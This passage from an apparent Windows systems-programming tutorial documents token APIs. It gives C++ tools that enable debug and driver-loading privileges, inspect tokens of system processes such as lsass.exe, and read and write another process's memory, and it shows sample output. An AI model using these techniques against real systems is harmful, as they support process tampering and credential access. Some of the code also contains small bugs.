  LPCWSTR lpSystemName,
  LPCWSTR lpName,
  PLUID   lpLuid
);
  • AdjustTokenGroups()
    • Brief: "The AdjustTokenGroups function enables or disables groups already present in the specified access token. Access to TOKEN_ADJUST_GROUPS is required to enable or disable groups in an access token."
BOOL AdjustTokenGroups(
  HANDLE        TokenHandle,
  BOOL          ResetToDefault,
  PTOKEN_GROUPS NewState,
  DWORD         BufferLength,
  PTOKEN_GROUPS PreviousState,
  PDWORD        ReturnLength
);
  • AdjustTokenPrivileges()
    • Brief: "The AdjustTokenPrivileges function enables or disables privileges in the specified access token. Enabling or disabling privileges in an access token requires TOKEN_ADJUST_PRIVILEGES access."
BOOL AdjustTokenPrivileges(
  HANDLE            TokenHandle,
  BOOL              DisableAllPrivileges,
  PTOKEN_PRIVILEGES NewState,
  DWORD             BufferLength,
  PTOKEN_PRIVILEGES PreviousState,
  PDWORD            ReturnLength
);
  • DuplicateToken()
    • Brief: "The DuplicateToken function creates a new access token that duplicates one already in existence."
BOOL DuplicateToken(
  HANDLE                       ExistingTokenHandle,
  SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
  PHANDLE                      DuplicateTokenHandle
);
  • IsTokenRestricted()
    • Brief: "The IsTokenRestricted function indicates whether a token contains a list of restricted security identifiers (SIDs)."
BOOL IsTokenRestricted( HANDLE TokenHandle );
  • CreateProcessAsUserA()
    • Brief: "Creates a new process and its primary thread. The new process runs in the security context of the user represented by the specified token."
BOOL CreateProcessAsUserA(
  HANDLE                hToken,
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);
  • CreateProcessAsUserW()
    • Brief: "Creates a new process and its primary thread. The new process runs in the security context of the user represented by the specified token."
BOOL CreateProcessAsUserW(
  HANDLE                hToken,
  LPCWSTR               lpApplicationName,
  LPWSTR                lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCWSTR               lpCurrentDirectory,
  LPSTARTUPINFOW        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

1.17.2 Inspecting access tokens

This code demmonstrates the usage of many Windows NT token APIs application programming interfaces by querying token information and privilege from system processes passed as PID command line argument.

Project Files

File: tokeninfo.cpp

#include <iostream>
#include <string>
#include <cassert>

#include <windows.h>


extern "C" void QueryFullProcessImageNameA( HANDLE hProc, int n
                                           , char* buffer, DWORD* buffer_size);

extern "C" BOOL IsProcessCritical(HANDLE hProcess, PBOOL  Critical);

extern "C" BOOL ConvertSidToStringSidA(PSID Sid,  LPSTR* StringSid);

bool            tokenHasPrivilege( HANDLE hToken, const char* privilege);
void           showTokenPrivilege( HANDLE hToken, const char* privilege);
void show_process_token_privilege( int pid);
BOOL              isTokenElevated( HANDLE hToken );
BOOL                 SetPrivilege( HANDLE  hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege); 


// ======================================================================//

int main(int argc, char** argv)
{

  if( argc < 2 )
  {
    std::printf("\n Usage: %s [COMMAND] [ARGUMENT]", argv[0] );

    std::printf("\n => Show process token information");
    std::printf("\n $ .%s proc [PID] \n", argv[0] );

    std::printf("\n => Set debug privilege and show current privileges");
    std::printf("\n $ %s priv \n", argv[0] );    
    return EXIT_FAILURE;
  }

  auto command = std::string{ argv[1] };

  if( command == "proc" )
  {
     DWORD pid =  std::stoi(argv[2]);

     // If pid == 0 => Show privileges of current process.
     if( pid == 0){ pid = GetCurrentProcessId(); }
     show_process_token_privilege( pid );
     return EXIT_SUCCESS;
  }

  if( command == "priv" )
  {

    HANDLE hProc = GetCurrentProcess();
    HANDLE hToken = nullptr;

    if( !OpenProcessToken(hProc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) )
    { 
      std::printf("Error - unable to open process Token. => Check GetLastError() error code. \n");
      std::abort();
    }

    assert( hToken != nullptr );


    std::printf( " Is process elevated (admin)? = %s \n"
                , isTokenElevated(hToken) ? "TRUE" : "FALSE" );

    // Set debug privilege => Necessary for reading or writing to/from process memory.
    // Note: SE_DEBUG_NAME == 'SeDebugPrivilege'
    SetPrivilege( hToken, SE_DEBUG_NAME, TRUE);
    showTokenPrivilege( hToken, SE_DEBUG_NAME );    

    // Backup privilege 
    SetPrivilege( hToken, "SeBackupPrivilege", TRUE);
    showTokenPrivilege( hToken, "SeBackupPrivilege" );

    // Privilege for creating global objects 
    SetPrivilege( hToken, "SeCreateGlobalPrivilege", TRUE);
    showTokenPrivilege( hToken, "SeCreateGlobalPrivilege" );

    // Privilege for loading drivers 
    SetPrivilege( hToken, "SeLoadDriverPrivilege", TRUE);
    showTokenPrivilege( hToken, "SeLoadDriverPrivilege" );

    return EXIT_SUCCESS;
  }


  return EXIT_SUCCESS;
}


// ======= I M P L E M E N T A T I O N  S ================ //

// Check whether process is running with administrative privilege (admin)
BOOL isTokenElevated( HANDLE hToken )
{

  TOKEN_ELEVATION elevation;
  DWORD size = sizeof( TOKEN_ELEVATION );
  if( !GetTokenInformation( hToken, TokenElevation, &elevation
                            , sizeof( TOKEN_ELEVATION), &size ) )
  {
    return FALSE;
  }
  return elevation.TokenIsElevated;
}


bool tokenHasPrivilege(HANDLE hToken, const char* privilege)
{
    LUID luid;
    PRIVILEGE_SET prvset;

    if( !LookupPrivilegeValue(nullptr, privilege, &luid) )
    {
       fprintf(stderr, "Function LookipPrivilegeAndValue() failed. \n");
       std::abort();
    }

    prvset.Control                 = PRIVILEGE_SET_ALL_NECESSARY;
    prvset.Privilege[0].Luid       = luid;
    prvset.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;;
    prvset.PrivilegeCount          = 1;

    BOOL ret;
    PrivilegeCheck(hToken, &prvset, &ret);
    return ret == TRUE;
}


void showTokenPrivilege(HANDLE hToken, const char* privilege)
{

  bool p = tokenHasPrivilege(hToken, privilege);
  std::fprintf( stdout, "\n [*] Has privilege? %s = %s \n"
               , privilege, p ? "TRUE" : "FALSE" );

}

void show_process_token_privilege(int pid)
{
  // Get handle to process
  // ----------------------------------------------
  assert( pid > 0 );
  HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
  if( hProc == nullptr )
  {  
    std::printf( " Error => Unable to open process => Error code = %ld"
                , GetLastError()); 
    std::abort();
  }

  // Get path to process
  // ---------------------------------------------------
  DWORD size = MAX_PATH;
  char buffer[MAX_PATH];      
  // Obtain path to proces image (executable path)
  // Note: This function does not work with Unicode path names containing non
  // ascii characters such as Korean Hangul characters.
  QueryFullProcessImageNameA(hProc, 0, buffer, &size);

  // Get process' access token
  //----------------------------------------------------------------
  HANDLE hToken = nullptr;
  if( !OpenProcessToken(hProc, TOKEN_QUERY, &hToken) )
  { 
     std::printf("Error - unable to open process Token. => Check GetLastError() error code. \n");
     std::abort();
  }


  // Retrieve information about user which created the process 
  //--------------------------------------------------------------

  DWORD needed;
  // Determine the buffer size
  GetTokenInformation( hToken, TokenUser, NULL, 0, &needed);
  auto tuser = reinterpret_cast<TOKEN_USER*>( LocalAlloc( LPTR, needed) );    
  assert( tuser != nullptr );
  GetTokenInformation( hToken, TokenUser, tuser, needed, &needed);

  PSID psid = tuser->User.Sid;
  char buffer_user[500];
  char buffer_domain[500];
  DWORD size_user   = sizeof(buffer_user);
  DWORD size_domain = sizeof(buffer_domain);

  SID_NAME_USE snu;
  if( !LookupAccountSid( nullptr, psid
                         , buffer_user,  &size_user
                         , buffer_domain, &size_domain
                         , &snu ) )
  {
    std::printf( "Error. Function LookupAccountSid() failed => Last error code = %ld"
                , GetLastError());
    std::abort();
  }

  /// Note: This string is allocated by the calee (function);
  char* pBuffer_sid = nullptr;

  // Convert SID (Security identifier) to string
  assert( ConvertSidToStringSidA(psid, &pBuffer_sid) );

  // Display process information 
  // ----------------------------------------------------------
  std::printf(" [TOKEN] >> Pid = %d ; EXE = %s \n", pid, buffer);
  std::printf(" User account = %s \n", buffer_user   );
  std::printf(" User domain  = %s \n", buffer_domain );
  std::printf(" SID          = %s \n", pBuffer_sid   );

  BOOL is_critical = FALSE;
  IsProcessCritical(hProc, &is_critical);
  std::printf(" Is process critical = %s \n", is_critical ? "TRUE" : "FALSE" );

  std::printf(" Is process elevated (admin)? = %s \n", isTokenElevated(hToken) ? "TRUE" : "FALSE" );

  std::printf(" Is token restricted = %s \n", IsTokenRestricted(hToken) ? "TRUE" : "FALSE" );


  // Display privileges that the token grants to  the process.
  //---------------------------------------------------
  //
  // SeAssignPrimaryTokenPrivilege => Allows replacing process-level token 
  showTokenPrivilege( hToken, SE_ASSIGNPRIMARYTOKEN_NAME);
  // SeBackupPrivilege => Allows files and directories backup (access to any file)
  showTokenPrivilege( hToken, SE_BACKUP_NAME );
  // SeDebugPrivilege => Allows opening process memory and performing debugging operations 
  showTokenPrivilege( hToken, SE_DEBUG_NAME );
  // SeIncreaseQuotaPrivilege
  showTokenPrivilege( hToken, SE_INCREASE_QUOTA_NAME );
  // SeTcbPrivilege => 
  showTokenPrivilege( hToken, SE_TCB_NAME );
  // Impersonate a client after authentication

  showTokenPrivilege( hToken, "SeImpersonatePrivilege");
  //  Load and unload device drivers
  showTokenPrivilege( hToken, "SeLoadDriverPrivilege");
  // Change system time 
  showTokenPrivilege( hToken, "SeSystemtimePrivilege" );
  //  Create global objects
  showTokenPrivilege( hToken, "SeCreateGlobalPrivilege");
  // Create symbolic links 
  showTokenPrivilege( hToken, "SeCreateSymbolicLinkPrivilege");
  // Managing and auditig the security log
  showTokenPrivilege( hToken, "SeSecurityPrivilege");

  CloseHandle(hProc);
  CloseHandle(hToken);
}

// Source: MSDN Example 
BOOL SetPrivilege(
      HANDLE  hToken            // access token handle
    , LPCTSTR lpszPrivilege     // name of privilege to enable/disable
    , BOOL    bEnablePrivilege  // to enable or disable privilege
    ) 
{
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if ( !LookupPrivilegeValue(NULL, lpszPrivilege, &luid ) )        
    {
        printf("LookupPrivilegeValue error: %ld\n", GetLastError() ); 
        return FALSE; 
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if (bEnablePrivilege)
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;

    // Enable the privilege or disable all privileges.

    if ( !AdjustTokenPrivileges(
           hToken, 
           FALSE, 
           &tp, 
           sizeof(TOKEN_PRIVILEGES), 
           (PTOKEN_PRIVILEGES) NULL, 
           (PDWORD) NULL) )
    { 
          printf("AdjustTokenPrivileges error: %ld\n", GetLastError() ); 
          return FALSE; 
    } 

    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
    {
          printf("The token does not have the specified privilege. \n");
          return FALSE;
    } 

    return TRUE;
}

Building:

$ g++ tokeninfo.cpp -o tokeninfo.exe -std=c++1z -Wall -Wextra -g

Experiment 1 - run as non administrator - querying process privileges.

λ .\tokeninfo.exe proc 0
 [TOKEN] >> Pid = 3100 ; EXE = C:\Users\User_001\Desktop\tokeninfo.exe
 User account = User_001
 User domain  = DESKTOP-FA8FC0Q
 SID          = S-1-5-20-3640651439-4294530408-2125417441-1261
 Is process critical = FALSE
 Is process elevated (admin)? = FALSE
 Is token restricted = FALSE

 [*] Has privilege? SeAssignPrimaryTokenPrivilege = FALSE

 [*] Has privilege? SeBackupPrivilege = FALSE

 [*] Has privilege? SeDebugPrivilege = FALSE

 [*] Has privilege? SeIncreaseQuotaPrivilege = FALSE

 [*] Has privilege? SeTcbPrivilege = FALSE

 [*] Has privilege? SeImpersonatePrivilege = FALSE

 [*] Has privilege? SeLoadDriverPrivilege = FALSE

 [*] Has privilege? SeSystemtimePrivilege = FALSE

 [*] Has privilege? SeCreateGlobalPrivilege = FALSE

 [*] Has privilege? SeCreateSymbolicLinkPrivilege = FALSE

 [*] Has privilege? SeSecurityPrivilege = FALSE

Check user privileges with command whoami:

$ whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

Experiment 2 - run as administrator - querying process own privilge

$ .\tokeninfo.exe proc 0
 [TOKEN] >> Pid = 7784 ; EXE = C:\Users\User_001\Desktop\tokeninfo.exe
 User account = User_001 
 User domain  = DESKTOP-FA8FC0Q
 SID          = S-1-5-20-3640651439-4294530408-2125417441-1261
 Is process critical = FALSE
 Is process elevated (admin)? = TRUE
 Is token restricted = FALSE

 [*] Has privilege? SeAssignPrimaryTokenPrivilege = FALSE

 [*] Has privilege? SeBackupPrivilege = FALSE

 [*] Has privilege? SeDebugPrivilege = FALSE

 [*] Has privilege? SeIncreaseQuotaPrivilege = FALSE

 [*] Has privilege? SeTcbPrivilege = FALSE

 [*] Has privilege? SeImpersonatePrivilege = TRUE

 [*] Has privilege? SeLoadDriverPrivilege = FALSE

 [*] Has privilege? SeSystemtimePrivilege = FALSE

 [*] Has privilege? SeCreateGlobalPrivilege = TRUE

 [*] Has privilege? SeCreateSymbolicLinkPrivilege = FALSE

 [*] Has privilege? SeSecurityPrivilege = FALSE

Check user privileges with command whoami:

$ whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Disabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Disabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Disabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Disabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Disabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Disabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
SeTimeZonePrivilege                       Change the time zone                                               Disabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled

Experiment 3 - Enable debug, backup and load driver privileges checking whether they are enabled.

# Note: Executed as administrator. 
$ .\tokeninfo.exe priv
 Is process elevated (admin)? = TRUE

 [*] Has privilege? SeDebugPrivilege = TRUE

 [*] Has privilege? SeBackupPrivilege = TRUE

 [*] Has privilege? SeCreateGlobalPrivilege = TRUE

 [*] Has privilege? SeLoadDriverPrivilege = TRUE

Experiment 4

List system services and their PIDs (Process unique identifiers):

$ sc queryex  

SERVICE_NAME: WSearch
DISPLAY_NAME: Windows Search
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 5508
        FLAGS              :

SERVICE_NAME: cbdhsvc_3c648
DISPLAY_NAME: Clipboard User Service_3c648
        TYPE               : f0   ERROR
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 4120
        FLAGS              :

SERVICE_NAME: CDPUserSvc_3c648
DISPLAY_NAME: Connected Devices Platform User Service_3c648
        TYPE               : f0   ERROR
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 4388
        FLAGS              :
  ...   ...   ...   ...   ...   ...   ...   ...   ...   ...   ... 
  ...   ...   ...   ...   ...   ...   ...   ...   ...   ...   ... 

Inspect token information of process (PID = 2664)

$ .\tokeninfo.exe proc 2664
 [TOKEN] >> Pid = 2664 ; EXE = C:\Program Files (x86)\SPICE Guest Tools\drivers\Balloon\w10\amd64\blnsvr.exe
 User account = SYSTEM
 User domain  = NT AUTHORITY
 SID          = S-1-5-18
 Is process critical = FALSE
 Is process elevated (admin)? = TRUE
 Is token restricted = FALSE

 [*] Has privilege? SeAssignPrimaryTokenPrivilege = FALSE

 [*] Has privilege? SeBackupPrivilege = FALSE

 [*] Has privilege? SeDebugPrivilege = TRUE

 [*] Has privilege? SeIncreaseQuotaPrivilege = FALSE

 [*] Has privilege? SeTcbPrivilege = TRUE

 [*] Has privilege? SeImpersonatePrivilege = TRUE

 [*] Has privilege? SeLoadDriverPrivilege = FALSE

 [*] Has privilege? SeSystemtimePrivilege = FALSE

 [*] Has privilege? SeCreateGlobalPrivilege = TRUE

 [*] Has privilege? SeCreateSymbolicLinkPrivilege = TRUE

 [*] Has privilege? SeSecurityPrivilege = FALSE

Inspect token information of process (PID = 636)

$ .\tokeninfo.exe proc 636
 [TOKEN] >> Pid = 636 ; EXE = C:\Windows\System32\lsass.exe
 User account = SYSTEM
 User domain  = NT AUTHORITY
 SID          = S-1-5-18
 Is process critical = FALSE
 Is process elevated (admin)? = TRUE
 Is token restricted = FALSE

 [*] Has privilege? SeAssignPrimaryTokenPrivilege = FALSE

 [*] Has privilege? SeBackupPrivilege = FALSE

 [*] Has privilege? SeDebugPrivilege = TRUE

 [*] Has privilege? SeIncreaseQuotaPrivilege = FALSE

 [*] Has privilege? SeTcbPrivilege = TRUE

 [*] Has privilege? SeImpersonatePrivilege = TRUE

 [*] Has privilege? SeLoadDriverPrivilege = FALSE

 [*] Has privilege? SeSystemtimePrivilege = FALSE

 [*] Has privilege? SeCreateGlobalPrivilege = TRUE

 [*] Has privilege? SeCreateSymbolicLinkPrivilege = TRUE

 [*] Has privilege? SeSecurityPrivilege = FALSE

1.18 Reading and writing process memory

1.18.1 Overview

Windows NT family operating systems provide APIs OpenProcess(), ReadProcessMemory() and WriteProcessMemory() which allow the calling code to manipulate the memory of other processes. Those functions are meant to support the implementation of debuggers such as Visual Studio Debugger, Windb or GDB (GNU Debugger), which need to be able to read, write and inspect the virtual memory of any process.

Note: Debug privilege is required for inspecting the memory of processes not created by the user of the calling code.

Documentation of APIs used:

  • OpenProcess()
  • CloseHandle()
  • GetCurrentProcessId()
    • Brief: "Retrieves the process identifier of the calling process."
  • GetCurrentProcess()
    • Brief: "Retrieves a pseudo handle for the current process."
  • ReadProcessMemory()
    • Brief: "ReadProcessMemory copies the data in the specified address range from the address space of the specified process into the specified buffer of the current process. Any process that has a handle with PROCESS_VM_READ access can call the function."
  • WriteProcessMemory()
    • Brief: "Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails."
  • GetModuleBaseName()
    • Brief: "Retrieves the base name of the specified module."
  • IsWow64Process()
    • Brief: "Determines whether the specified process is running under WOW64 or an Intel64 of x64 processor."
  • NtQueryInformationProcess() [INTERNAL-API] [UNDOCUMENTED-API]
    • Brief: "Retrieves information about the specified process."
    • Note: It is unstable internal Windows API, as a result, it may removed without notice on future Windows releases. This API is not supposed to be used by any application code. However, there is no way to get a process full command line path without this "undocumented function".
  • PEB structure [INTERNAL-API] [UNDOCUMENTED-API]
    • Brief: Process Enviroment Block data structure.
  • PEB_LDR_DATA structure [INTERNAL-API] [UNDOCUMENTED-API]
    • Brief: Contains information about the loaded modules for the process.
  • RTL_USER_PROCESS_PARAMETERS structure [INTERNAL-API] [UNDOCUMENTED-API]
    • Brief: Contains process parameter information.
    • Note: Contains process command line arguments.

Structs:

 typedef struct _PEB {
   BYTE                          Reserved1[2];
   BYTE                          BeingDebugged;
   BYTE                          Reserved2[1];
   PVOID                         Reserved3[2];
   PPEB_LDR_DATA                 Ldr;
   PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
   PVOID                         Reserved4[3];
   PVOID                         AtlThunkSListPtr;
   PVOID                         Reserved5;
   ULONG                         Reserved6;
   PVOID                         Reserved7;
   ULONG                         Reserved8;
   ULONG                         AtlThunkSListPtr32;
   PVOID                         Reserved9[45];
   BYTE                          Reserved10[96];
   PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
   BYTE                          Reserved11[128];
   PVOID                         Reserved12[1];
   ULONG                         SessionId;
 } PEB, *PPEB;

 typedef struct _RTL_USER_PROCESS_PARAMETERS {
   BYTE           Reserved1[16];
   PVOID          Reserved2[10];
   UNICODE_STRING ImagePathName;
   UNICODE_STRING CommandLine;
 } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

struct UNICODE_STRING
{
  USHORT Length;         // unsigned short (16 bits)
  USHORT MaximumLength;  // unsigned short (16 bits)
  PWSTR  Buffer;         // type WCHAR* 
};

1.18.2 Sample code

This sample code uses memory inspection APIs for manipulating the virtual memory of a target process and also for obtaining the full command line used for instantiating a given process.

Project files

File: target.cpp => Sample target process.

#include <iostream>
#include <string> 
#include <cstring> 

#include <windows.h>

char static_allocated_buffer[300];

int main()
{

  int number = 300;
  std::string cppstr = "Hallo Welt";

  strcpy(static_allocated_buffer, "Strcpy is an unsafe C function! BE AWARE!");

  const DWORD pid = GetCurrentProcessId();

  std::printf(" [*]          Number = %d  \n", number );
  std::printf(" [*]        cppstr   = %s  \n", cppstr.c_str());
  std::printf(" [*] Global buffer   = %s  \n", static_allocated_buffer);

  std::printf(" [*]     Current process PID = %ld \n", pid);
  std::printf(" [*]          Number address = %p  \n", &number );
  std::printf(" [*]        cppstr address   = %p  \n", cppstr.data());
  std::printf(" [*] Global buffer address   = %p  \n", static_allocated_buffer);  

  std::printf("\n =>> Type RETURN to resume execution \n");
  std::cin.ignore();

  std::printf(" [*]          Number = %d  \n", number );
  std::printf(" [*]        cppstr   = %s  \n", cppstr.c_str());
  std::printf(" [*] Global buffer   = %s  \n", static_allocated_buffer);

  std::printf("\n =>> Type RETURN to resume execution \n");  
  std::cin.ignore();
}

File: memorydump.cpp

#include <iostream>
#include <string>
#include <cassert>

#include <windows.h>
#include <psapi.h>

#include <winternl.h>

// Declare linkage to C symbol only when using on MING (GCC) compiler.
#if !defined(__MINGW64__) || defined(__MINGW32__)
  extern "C" BOOL QueryFullProcessImageNameA(HANDLE hProcess, DWORD  dwFlags
                                             , LPSTR  lpExeName, PDWORD lpdwSize );
#endif

std::string process_basename(HANDLE hProc);
std::string process_full_path(HANDLE hProc);
void        enableDebugPrivilege(BOOL enable);
BOOL        setPrivilege(HANDLE hToken, LPCTSTR privilege, BOOL enable_privilege);

// Type alias to Windows API function pointer. 
using NtQueryInformationProcess_t = NTSTATUS (*) (
                                              HANDLE           ProcessHandle,
                                              PROCESSINFOCLASS ProcessInformationClass,
                                              PVOID            ProcessInformation,
                                              ULONG            ProcessInformationLength,
                                              PULONG           ReturnLength
                                            );

// Show process command line arguments by reading its virtual memory.
// Note: This function requires debug privilege enabled if the process
// does not belong to the current user.
void show_process_cli(DWORD pid);

int main(int argc, char** argv)
{
  if( argc < 2)
  {
    std::fprintf(stderr, "Error: expected process PID \n");
    return -1;
  }

  // Set debug privilege for current process token
  // Note: It only works if this application is run with
  // administrative privilege.
  //---------------------------------------------------
  enableDebugPrivilege( TRUE );

  auto command = std::string{ argv[1] };

  // Obains information about commmand line used to start the process.
  if( command == "cli" )
  {

    int pid = std::stoi( argv[2] );
    show_process_cli(pid);
    return 0;
  }

  // Dump a buffer from target process memory.
  if( command == "read-str" )
  {
    // Pid of target process .
    int pid     = std::stoi( argv[2] );
    // Buffer memory address to be read from target process
    // (in hexadecimal base, base 16)
    int address = std::stoi( argv[3], 0, 16 );
    // Buffer Lenght
    int lenght = std::stoi( argv[4] );

    HANDLE hProc = OpenProcess( PROCESS_QUERY_INFORMATION  | PROCESS_VM_READ, FALSE, pid);
    assert( hProc != nullptr );

    // Create heap-allocated string buffer with length characters
    // set as '\0' null characters.
    auto buffer = std::string(lenght, '\0');
    ReadProcessMemory( hProc, (LPVOID) address, buffer.data(), lenght, nullptr);
    std::printf(" Buffer value = %s \n", buffer.c_str());
    std::printf(" Address      = %x \n", address);    

    CloseHandle( hProc );
    return 0;
  }

  // Write to buffer from target process 
  if( command == "write-str" )
  {
    // Pid of target process .
    int pid     = std::stoi( argv[2] );
    // Buffer memory address to be read from target process
    // (in hexadecimal base, base 16)
    int address = std::stoi( argv[3], 0, 16 );
    // Data to be written to buffer process memory
    auto str = std::string{ argv[4] };

    const DWORD flags = PROCESS_QUERY_INFORMATION  | PROCESS_VM_READ | PROCESS_VM_WRITE;
    const HANDLE hProc = OpenProcess( flags, FALSE, pid);
    assert( hProc != nullptr );

    WriteProcessMemory( hProc, (LPVOID) address, str.data(), str.length(), nullptr);

    auto buffer = std::string(str.length(), '\0');
    ReadProcessMemory( hProc, (LPVOID) address, buffer.data(), str.length(), nullptr);

    std::printf(" Buffer value = %s \n", buffer.c_str());
    std::printf(" Address      = %x \n", address);    

    CloseHandle( hProc );
    return 0;
  }

  // Read number from target process memory.
  if( command == "read-num" )
  {
    // Pid of target process .
    int pid     = std::stoi( argv[2] );
    // Buffer memory address to be read from target process
    // (in hexadecimal base, base 16)
    int address = std::stoi( argv[3], 0, 16 );
    HANDLE hProc = OpenProcess( PROCESS_QUERY_INFORMATION  | PROCESS_VM_READ, FALSE, pid);
    assert( hProc != nullptr );

    int buffer = 0;
    ReadProcessMemory( hProc, (LPVOID) address, &buffer, sizeof(buffer), nullptr);
    std::printf(" [*] Number value = %d \n", buffer);

    return 0;
  }


  // Write number to target process memory.
  if( command == "write-num" )
  {
    // Pid of target process .
    int pid     = std::stoi( argv[2] );
    // Buffer memory address to be read from target process
    // (in hexadecimal base, base 16)
    int address = std::stoi( argv[3], 0, 16 );
    int number  = std::stoi( argv[4] );

    const DWORD flags = PROCESS_QUERY_INFORMATION  | PROCESS_VM_READ | PROCESS_VM_WRITE;
    const HANDLE hProc = OpenProcess( flags, FALSE, pid);
    assert( hProc != nullptr );

    WriteProcessMemory( hProc, (LPVOID) address, &number, sizeof(number), nullptr);

    int buffer = 0;
    ReadProcessMemory( hProc, (LPVOID) address, &buffer, sizeof(buffer), nullptr);
    std::printf(" [*] Number value = %d \n", buffer);

    return 0;
  }

  std::fprintf(stderr, " [TRACE] Error => Unable to find command.");

  return -1;
}

   // ============= I M P L E M E N T A T I O N S ================= //

std::string process_basename(HANDLE hProc)
{
  // Note: This function fails if the process executable uses non aciii characters
  // such as Japanese Kanji, Hiragrama or Katakana. But this function was 
  // chosen due to it be easier to deal with than GetModuleBaseNameW().
  size_t size = 260;
  auto buffer = std::string('0', size);
  assert( GetModuleBaseNameA(hProc, nullptr, buffer.data(), size) != 0 );
  return buffer;
}

std::string process_full_path(HANDLE hProc)
{
      DWORD size = MAX_PATH;
      char buffer[MAX_PATH];
      QueryFullProcessImageNameA(hProc, 0, buffer, &size);
      CloseHandle(hProc);
      return std::string{buffer};
}


BOOL setPrivilege(HANDLE hToken, LPCTSTR privilege, BOOL enable_privilege)
{
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if ( !LookupPrivilegeValue(NULL, privilege, &luid ) )
    {
        printf("LookupPrivilegeValue error: %ld\n", GetLastError() );
        return FALSE;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if (enable_privilege)
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;

    // Enable the privilege or disable all privileges.

    if ( !AdjustTokenPrivileges(
           hToken,
           FALSE,
           &tp,
           sizeof(TOKEN_PRIVILEGES),
           (PTOKEN_PRIVILEGES) NULL,
           (PDWORD) NULL) )
    {
        printf("AdjustTokenPrivileges error: %ld\n", GetLastError() );
        return FALSE;
    }

    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
    {
       printf("The token does not have the specified privilege. \n");
       return FALSE;
    }

    return TRUE;
}


// Enable Debug privilege for current process
void enableDebugPrivilege(BOOL enable)
{
   // Current process' hProc handle
   HANDLE hProc = GetCurrentProcess();
   // Current process' token
   HANDLE hToken = nullptr;

   if( !OpenProcessToken(hProc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) )
   {
